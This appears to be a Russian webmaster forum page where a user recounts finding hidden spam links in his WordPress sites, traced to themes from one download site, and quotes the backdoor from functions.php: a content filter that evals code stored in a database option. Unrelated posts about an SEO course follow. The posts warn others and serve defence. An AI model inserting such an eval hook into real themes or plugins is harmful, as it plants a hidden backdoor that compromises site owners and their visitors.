goliafz

goliafz
Рейтинг
94
Регистрация
16.07.2008

Код везде разный. Но с add_filter есть у всех.

Возможно это послужило причиной вылета 11 сайтов под АГС. Я все никак не мог понять по какой причине сайты уходят под АГС. Теперь уже понятно. Спрятанная ссылка для яндекса - это как спам.

Чуть позже выложу отчет о масштабах такого развода для 75 сайтов (часть из них не с шаблонами от wordpresse.ru).

Самому интересно насколько сильно проспамили мои сайты. :)

error2k:
Значит все сайты объединял один шаблон? А то такая интрига получилась хорошая (

Шаблоны были с wordpresse.ru (ни один шаблон не качать!)

Я вначале грешил на плагин isape. Там были зашифрованы участки кода. Причем после отключения плагина пропадали скрытые ссылки. Но на самом деле они пропадали из точки в сапе ссылках и вставлялись в текст.

Я все перерыл. Чистил шаблоны. Сразу же нашел, что в шаблонах были 2 файла:

clinks.php

slinks.php

Если увидите такие файлы. Сразу же переименовываем и чистим от них шаблон.

После такой чистки я думал, что больше нет в шаблонах лишних ссылок (футер обязательно надо чистить, обычно ссылки в открытую там выкладывают).

Спалил ссылки по сапе. Вылезли эрроры. Оказалось, что встраиваясь в плагин isape, а точнее заменяя точку в сапоссылках на свою получалось так, что сапоссылка становилась просто текстом, а вместо конечной точки уже скрытая ссылка.

Шерстил все, что мог. Шаблон просматривал несколько раз. Все чисто. Никак не связывается с другим сайтом.

Сразу же подумал, что эта проблема в самом дистрибутиве вордпресса. Скачал последнюю версию с официального сайта (до этого дистрибутив качал с какого-то сайта с локализацией). Удалил папки wp-admin и wp-includes. Результат нулевой.

Дальше я логически подумал и пришел к выводу, что ломанули сервер. Но потом я понял, что это глупость. Т.к. мои сайты расположены на 6 разных серверах. Взломать все 6 серверов и залить зловред - это бред.

Потом я решил, что возможно сам дистрибутив был с самого начала левым. Но не сами файлы, а mysql, который ставится. Начал шерстить базу. Но там все чисто.

Искал в инете решение проблемы, но все безрезультатно. Просто я искал не то, что мне нужно было. Вызвал подозрение плагин askimet. Я заметил, что он связывается с сервером. Далее я решил перейти по ссылке с доменом. Но как оказалось, там все запрещено для просмотра. Тут то я и решил, что это связано скорее всего с ним. Но я этот плагин никогда не включал.

Удалил плагин. Проблема не исчезла. Я снова давай шерстить шаблоны. И подумал логически, что скорее всего какой-то левый код будет расположен в function.php. И оказался прав. Только этот код сложно заметить. Да и непонятно, что он делает. Но по 1 слову в нем я сразу же догадался, что его тут не должно быть.

add_filter('the_content', '_bloginfo', 10001);

function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}

Убрал этот код и ссылок сразу же не стало. Причина была именно в этом куске кода!

Единственное для меня остается загадкой каким образом этот участок кода берет откуда то ссылки с других сайтов?

Да, я очень долго боролся с этой фигней. Больше 2-3 месяцев. Не подумал бы, что этот участок кода может вставлять ссылки. Ведь нет никаких шифров, нет никаких ссылок, ведущих на другие сайты. Нет ничего такого о чем можно подумать, что что-то тут не так.

Вывод: шаблоны с того сайта не качать. Там идет тройная атака ссылками: через футер, через дополнительные файлы и через вышеуказанный код.

Будьте внимательны!

Ура. Нашел причину. Была в шаблоне, но очень сильно запрятана.

RoMaN444Ik:
Все достаточно просто... Эту ссылку скорее всего в файлы движка или шаблона засунули, чтобы он каждую последнюю точку в статье заменял на ссылку, а сам код зашифровал в base64 чтобы поиск по файлам ничего не дал... ищите в шаблоне и в движках фразу eval и base64_decode.

Ни то, ни другое. Уже проверил.

goliafz добавил 07.09.2011 в 01:57

profAleks:
PHPMyAdmin какой версии ?
VPS или шаред ?

ВПС и шаред. На разных хостингах такая фигня.

yogan:
с разных компов пробовал удалять гадость ? с большой долей вероятности на рабочем компе- зараза непалящаяся. ну или у хостера дырень какая )

На компе нет никакой заразы. Стоит КИС 2012. Базы обновляются ежедневно. ОС семерка, также постоянно обновляю.

goliafz добавил 06.09.2011 в 16:11

wlaam:

На всех. Или только на некоторых ? Смотрели сайты на том же ip. На них есть похожие ссылки ?

Практически на всех сайтах на вордпрессе такая штука есть.

Помню давно когда заливал сайты (месяца 2 назад). То эти ссылки прямо сразу же появлялись. Удалить их было невозможно.

Если не ошибаюсь, то такая же проблема была и на других сайтах на том же движке, но уже на другом хостере.

wlaam:
1 ссылка в 1 новости ? :) Бегло просмотрел другие заметки с поиском по "style="text-decoration:none;border:none" ничего не нашел.....

В файлах - нет, В базе - нет, В шаблоне - нет. На странице - есть. Мистика однако :)

На каждом из сайтов их штук 5-10. Не больше. Ладно бы это было на 1 сайте, а то на нескольких.

leprekon:
А проверяли шаблон для WP?..

Проверял. Прикол вот в чем. У меня много разных шаблонов. Их я все чистил ручками. На разных шаблонах появляется такие ссылки. Но вот если я ставлю стандартный шаблон, то ничего нет.

Я понимаю, что тут сразу же надо думать на шаблон. Но в нем нет ничего подозрительного.

Kamchess:
Да. Курс как раз ориентирован на работу с трафиком.

Отлично. Жду в четверг/пятницу сообщение с реквизитами на оплату :)

mobilife:
Как раз для трафика этот курс и предусмотрен :)

Вы уже занимаетесь по этому курсу? :)

Kamchess, упор курса будет на сайты с траффиком?

Просто у меня уже имеется опыт работы с ГС, сателлитами и СДЛ в биржах ссылок, а вот с траффиком плохо умею работать. Будет ли мне полезен данный курс?

Всего: 476